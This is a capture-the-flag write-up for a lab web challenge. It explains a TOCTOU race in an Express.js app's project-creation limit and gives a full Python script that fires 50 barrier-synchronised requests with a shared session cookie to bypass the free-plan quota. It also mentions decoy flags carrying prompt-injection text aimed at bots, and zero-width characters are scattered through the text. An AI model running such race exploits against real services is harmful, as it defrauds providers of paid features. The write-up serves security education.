← Back to Writeups
CUSTOMMediumWeb

WorkPilot — Race Condition in Project Creation Plan Limit

XESXOR9/2/20265 min read
#web#custom#medium#race_condition_exploitation#session_cookie_sharing#thread_barrier_synchronization#toctou_plan_limit_bypass

WorkPilot — Race Condition in Project Creation Plan Limit

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass

Summary

Walkthrough of the CUSTOM Web WorkPilot — Race Condition in Project Creation Plan Limit. Task: Express.js project management app with free plan limited to 1 project; premium analytics requires 3+ projects. Solution: TOCTOU race condition in POST /api/projects — 50 concurrent requests bypa

Description

WorkPilot is a project management platform by PilotStack Inc. that offers free and premium tiers. Free accounts are limited to 1 project, while premium users enjoy unlimited projects and access to advanced analytics features. The platform recently rolled out new plan enforcement logic to restrict free-tier users from exceeding their project quota. Your goal is to find a way to bypass the plan restrictions and access premium-only features. Explore the application, understand how plan limits are enforced, and find the flag hidden in the premium analytics dashboard. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js project management application enforces a 1-project limit for free-tier users. Premium analytics (which contains the flag) requires 3 or more active projects. The goal is to bypass the plan limit and access the premium analytics dashboard.

Analysis

Application Reconnaissance

The application is an Express.js backend behind nginx/1.25.5, using connect.sid session cookies (express-session). Key endpoints discovered:

EndpointMethodPurpose
/registerPOSTCreate new account (username, email, password)
/loginPOSTAuthenticate
/dashboardGETShows project list and "X/1 projects used" counter
/api/projectsPOSTCreate project (JSON: name, description)
/premium/analyticsGETPremium analytics dashboard (requires 3+ projects)
/billingGETBilling & Plans page
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Plan Enforcement Logic

  • Free plan: 1 project limit
  • Premium plan: unlimited projects + advanced analytics
  • Analytics gate: /premium/analytics checks project count server-side — requires ≥3 active projects to display content (otherwise shows "Advanced analytics requires 3 or more active projects in your workspace" with a progress bar)

Identifying the Vulnerability

When attempting to create a second project sequentially, the server returns:

json
{"error": "Plan limit reached", "current": 1, "limit": 1, "upgrade_url": "/billing"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The plan limit check follows a classic TOCTOU (Time-of-Check to Time-of-Use) pattern:

  1. CHECK: Server queries the database for the user's current project count
  2. COMPARE: Count is compared against the plan limit (1 for free)
  3. CREATE: If under limit, a new project is inserted into the database

Steps 1-3 are not atomic — there is no database transaction, row lock, or mutex protecting the window between the count check and the insert. If multiple requests arrive simultaneously, they all read the same count (e.g., 0) and all pass the limit check before any of them increments the count. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page contains an HTML comment with a fake flag and prompt injection text:

html
<!-- FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} -->

This is a honeypot — the real flag is only on the premium analytics page after unlocking it.

Solution

Step 1: Register a Fresh Account

A fresh account starts with 0 projects and a free plan (1-project limit). This maximizes the race window since the first project creation is always allowed — we need all 50 threads to see "0 projects" simultaneously. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Race Condition Exploit

Use Python's threading.Barrier to synchronize 50 threads. The barrier ensures all threads release their HTTP requests at the exact same instant, maximizing the chance that multiple requests pass the plan limit check before any project is committed to the database.

python
barrier = threading.Barrier(num_threads, timeout=30)

def attack_thread(idx):
    s = requests.Session()
    s.cookies.update(cookies)  # Share the authenticated session
    barrier.wait()  # All threads release simultaneously
    resp = s.post(f"{BASE_URL}/api/projects",
        json={"name": f"Race Project {idx}", "description": f"Thread {idx}"},
        timeout=30)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Results

On the first attempt, 18 out of 50 threads (36%) successfully created projects — far exceeding the 1-project limit. The remaining 32 threads hit the limit check after the first few projects were committed.

Dashboard after exploit: "18/1 projects used"

Step 4: Access Premium Analytics

With 18 projects (well above the 3-project threshold), navigating to /premium/analytics unlocks the premium analytics dashboard and reveals the flag.

Full Exploit Script

python
#!/usr/bin/env python3
"""WorkPilot Race Condition Exploit — bypass free plan 1-project limit via TOCTOU"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import threading
import random
import string
import time
import re
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://02fed4e5-e862-46bf-a002-6e4839bdf1f3.labs.hackadvisor.io"
NUM_THREADS = 50

def random_string(length=8):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def register_fresh_account():
    """Register a new account with 0 projects"""
    session = requests.Session()
    session.verify = False
    username = f"race_{random_string()}"
    email = f"{username}@test.com"
    resp = session.post(f"{BASE_URL}/register", data={
        "username": username,
        "email": email,
        "password": "password123"
    }, allow_redirects=True)
    print(f"[*] Registered: {username} ({email})")
    return session
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def race_create_projects(session, num_threads=NUM_THREADS):
    """Fire concurrent project creation requests"""
    cookies = dict(session.cookies)
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()

    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()  # All threads release simultaneously
            resp = s.post(
                f"{BASE_URL}/api/projects",
                json={"name": f"Race Project {idx}", "description": f"Created by thread {idx}"},
                timeout=30
            )
            data = resp.json()
            with lock:
                results.append({"thread": idx, "status": resp.status_code, "data": data})
                if resp.status_code in (200, 201):
                    print(f"  [+] Thread {idx}: SUCCESS - {data}")
        except Exception as e:
            with lock:
                results.append({"thread": idx, "error": str(e)})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)

    successes = [r for r in results if r.get("status") in (200, 201)]
    print(f"[*] Results: {len(successes)} created out of {len(results)} attempts")
    return len(successes)

def check_analytics(session):
    """Check if premium analytics is now accessible"""
    resp = session.get(f"{BASE_URL}/premium/analytics")
    flag_match = re.search(r'FLAG\{[0-9a-f]+\}', resp.text)
    if flag_match:
        print(f"[!!!] FLAG FOUND: {flag_match.group(0)}")
        return flag_match.group(0)
    return None
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def main():
    for attempt in range(5):
        print(f"\n--- Attempt {attempt + 1} ---")
        session = register_fresh_account()
        race_create_projects(session, NUM_THREADS)
        flag = check_analytics(session)
        if flag:
            return flag
        time.sleep(1)
    print("[-] Failed after 5 attempts")

if __name__ == "__main__":
    flag = main()
    if flag:
        print(f"\nFINAL FLAG: {flag}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_plan_limit_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • WorkPilot — Race Condition in Project Creation Plan Limit • Difficulty: Medium